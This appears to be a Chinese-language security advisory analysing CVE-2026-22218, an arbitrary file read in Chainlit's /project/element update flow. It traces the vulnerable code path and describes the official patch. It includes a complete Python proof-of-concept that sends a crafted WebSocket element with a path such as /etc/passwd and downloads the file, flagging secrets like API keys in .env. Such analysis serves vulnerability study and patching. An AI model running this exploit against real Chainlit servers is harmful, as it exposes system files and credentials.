CVE-2026-22218:Chainlit任意文件读取漏洞详细分析
漏洞来源漏洞描述Chainlit 2.9.4 之前的版本在 `/project/element` 更新流程中存在任意文件读取漏洞。已认证的客户端可以发送一个自定义的 Element,其路径值由用户控制,从而导致服务器将引用的文件复制到攻击者的会话中。攻击者随后可以使用生成的元素标识符 (chainlitKey) 通过 `/project/file/<chainlitKey>` 检索文件
漏洞来源

漏洞描述
Chainlit 2.9.4 之前的版本在 `/project/element` 更新流程中存在任意文件读取漏洞。已认证的客户端可以发送一个自定义的 Element,其路径值由用户控制,从而导致服务器将引用的文件复制到攻击者的会话中。攻击者随后可以使用生成的元素标识符 (chainlitKey) 通过 `/project/file/<chainlitKey>` 检索文件内容,从而泄露 Chainlit 服务可读取的任何文件。
环境搭建
打开终端运行(记得安装2.9.4以下版本)
pip install chainlit
chainlit hello
漏洞原理
Chainlit 允许前端通过 WebSocket 发送 Element 对象来动态更新界面内容。其中,Element 支持一个名为 path 的字段,用于指定本地文件路径。在受影响版本中,当服务端处理此类消息时,会直接将客户端传入的 path 值传递给文件读取函数(如 aiofiles.open(path, "rb")),而未对路径进行合法性检查。
漏洞分析
漏洞入口在backend\chainlit\element.py
@classmethod
def from_dict(cls, e_dict: ElementDict):
# ...
path = str(e_dict.get("path")) if e_dict.get("path") else None # ← (1)
# ...
common_params = {
"path": path, # ← (2) 直接传递
# ...
}
return File(**common_params) # ← (3) 构造 Element 实例从客户端 JSON 中提取 path 字段,并强制转为字符串。若发送 "path": "/etc/passwd" → path = "/etc/passwd"
接下来调用Element._create() 方法来传递路径
async def _create(self, persist=True) -> bool:
if not self.url and (not self.chainlit_key or self.updatable):
file_dict = await context.session.persist_file(
name=self.name,
path=self.path, # ← (4) 将恶意 path 传入 persist_file
content=self.content,
mime=self.mime or "",
)
self.chainlit_key = file_dict["id"]self.path 即来自 from_dict 的用户输入,直接作为参数传给 persist_file
最后在BaseSession.persist_file() 方法中 执行任意文件读取
该方法在文件:session.py
async def persist_file(
self,
name: str,
mime: str,
path: Optional[str] = None,
content: Optional[Union[bytes, str]] = None,
) -> FileReference:
if not path and not content:
raise ValueError("Either path or content must be provided")
self.files_dir.mkdir(exist_ok=True)
file_id = str(uuid.uuid4())
file_path = self.files_dir / file_id
# ...
if path:
# Copy the file from the given path
async with (
aiofiles.open(path, "rb") as src, # ← (5) 核心漏洞点!
aiofiles.open(file_path, "wb") as dst,
):
await dst.write(await src.read()) # ← (6) 读取任意文件内容
# ...
return {"id": file_id}aiofiles.open(path, "rb")
- path 是攻击者控制的字符串(如 "/etc/passwd")。
- aiofiles.open 是 open() 的异步封装,行为完全一致。
- Python 会以当前进程权限打开该路径指向的文件。
await src.read()
- 读取整个文件内容到内存。
接着看server.py
@router.get("/project/file/{file_id}")
async def get_file(file_id: str,
session_id: str,
current_user: UserParam):
"""Get a file from the session files directory."""
from chainlit.session import WebsocketSession
session = WebsocketSession.get_by_id(session_id) if session_id else None
if not session:
raise HTTPException(status_code=401, detail="Unauthorized")
if current_user:
if not session.user or session.user.identifier != current_user.identifier:
raise HTTPException(status_code=401,
detail="You are not authorized to download files from this session")
if file_id in session.files:
file = session.files[file_id]
return FileResponse(file["path"], media_type=file["type"])
else:
raise HTTPException(status_code=404, detail="File not found")- file["path"] 是 persist_file() 阶段写入的本地绝对路径
- 该文件内容是攻击者通过 path="/etc/passwd" 触发读取后保存的副本。
- FileResponse 直接将其作为 HTTP 响应体返回
漏洞POC
import asyncio
import json
import sys
import uuid
from urllib.parse import urljoin, urlparse
import aiohttp
import websocket # 使用 websocket-client 同步库更稳定
def build_ws_url(http_url):
"""将 HTTP URL 转换为 WebSocket URL"""
parsed = urlparse(http_url)
if parsed.scheme == "https":
ws_scheme = "wss"
else:
ws_scheme = "ws"
return f"{ws_scheme}://{parsed.netloc}/ws"
def init_websocket(ws_url):
"""初始化 WebSocket 连接并完成握手"""
ws = websocket.create_connection(ws_url, timeout=10)
# Step 1: 客户端发送连接请求
connect_msg = {
"type": "connection_init",
"payload": {}
}
ws.send(json.dumps(connect_msg))
# Step 2: 接收 ack
resp = ws.recv()
data = json.loads(resp)
if data.get("type") != "connection_ack":
raise Exception(f"Failed to initialize WebSocket: {data}")
return ws
def send_malicious_element(ws, target_file):
"""发送恶意 Element 并返回 chainlitKey"""
element_id = str(uuid.uuid4())
payload = {
"op": "update_element",
"element": {
"id": element_id,
"type": "file",
"name": "exploit",
"path": target_file, # ← 恶意路径
"display": "inline"
}
}
ws.send(json.dumps(payload))
# 等待响应
while True:
try:
resp = ws.recv()
data = json.loads(resp)
if data.get("op") == "update_element":
element_resp = data.get("element", {})
if element_resp.get("id") == element_id:
key = element_resp.get("chainlitKey")
if key:
return key
except websocket.WebSocketTimeoutException:
break
raise Exception("Did not receive chainlitKey in response")
async def download_file(http_base_url, chainlit_key):
"""通过 HTTP 下载文件内容"""
file_url = urljoin(http_base_url.rstrip("/") + "/", f"project/file/{chainlit_key}")
async with aiohttp.ClientSession() as session:
try:
async with session.get(file_url, timeout=aiohttp.ClientTimeout(total=10)) as resp:
if resp.status == 200:
content = await resp.text()
return content
else:
return None
except Exception as e:
print(f"[!] Download error: {e}")
return None
def is_sensitive_content(content, target_file):
"""判断是否成功读取敏感文件"""
if not content:
return False
# 常见敏感文件特征
indicators = {
"/etc/passwd": ["root:x:0:0", "daemon:x:1:"],
".env": ["=", "DB_PASSWORD", "API_KEY", "SECRET"],
"/proc/version": ["Linux version"],
"chainlit.md": ["# ", "Project"],
}
for keyword in indicators.get(target_file, [target_file.split("/")[-1]]):
if keyword in content:
return True
return False
async def main():
if len(sys.argv) < 3:
print("Usage: python chainlit_file_read_poc.py <http://target:port> <remote_file_path>")
print("Example: python chainlit_file_read_poc.py http://127.0.0.1:8000 /etc/passwd")
sys.exit(1)
http_url = sys.argv[1].rstrip("/")
target_file = sys.argv[2]
print(f"[*] Target: {http_url}")
print(f"[*] Attempting to read: {target_file}")
try:
ws_url = build_ws_url(http_url)
print(f"[*] WebSocket URL: {ws_url}")
# 初始化 WebSocket
ws = init_websocket(ws_url)
print("[+] WebSocket initialized")
# 发送恶意 Element
chainlit_key = send_malicious_element(ws, target_file)
print(f"[+] Got chainlitKey: {chainlit_key}")
ws.close()
# 下载文件
content = await download_file(http_url, chainlit_key)
if content is None:
print("[-] Failed to download file (maybe not readable or patched)")
return
# 判断是否成功
if is_sensitive_content(content, target_file):
print("[✅] VULNERABLE! Successfully read file:")
print("-" * 50)
print(content[:1000]) # 只打印前1000字符
print("-" * 50)
else:
print("[-] File read but no sensitive content detected (may still be vulnerable)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
asyncio.run(main())漏洞修复
官方补丁

新增 _sanitize_custom_element 函数
def _sanitize_custom_element(element_dict: "ElementDict") -> "CustomElement":
from chainlit.element import CustomElement
return CustomElement(
id=element_dict["id"],
for_id=element_dict.get("forId") or "",
thread_id=element_dict.get("threadId") or "",
name=element_dict["name"],
props=element_dict.get("props") or {},
display=element_dict["display"],
)- 只提取 6 个安全字段:id, forId, threadId, name, props, display
- 忽略以下危险字段:
- path → 阻止任意文件读取
- url → 防止 SSRF(服务端请求伪造)
- objectKey / chainlitKey → 防止操纵内部存储引用
参考
Chainlit 2.9.4 前版本因未校验 Element.path 字段,导致认证用户可读取服务器任意文件。
由 AI 根据全文自动生成,仅供参考,以原文为准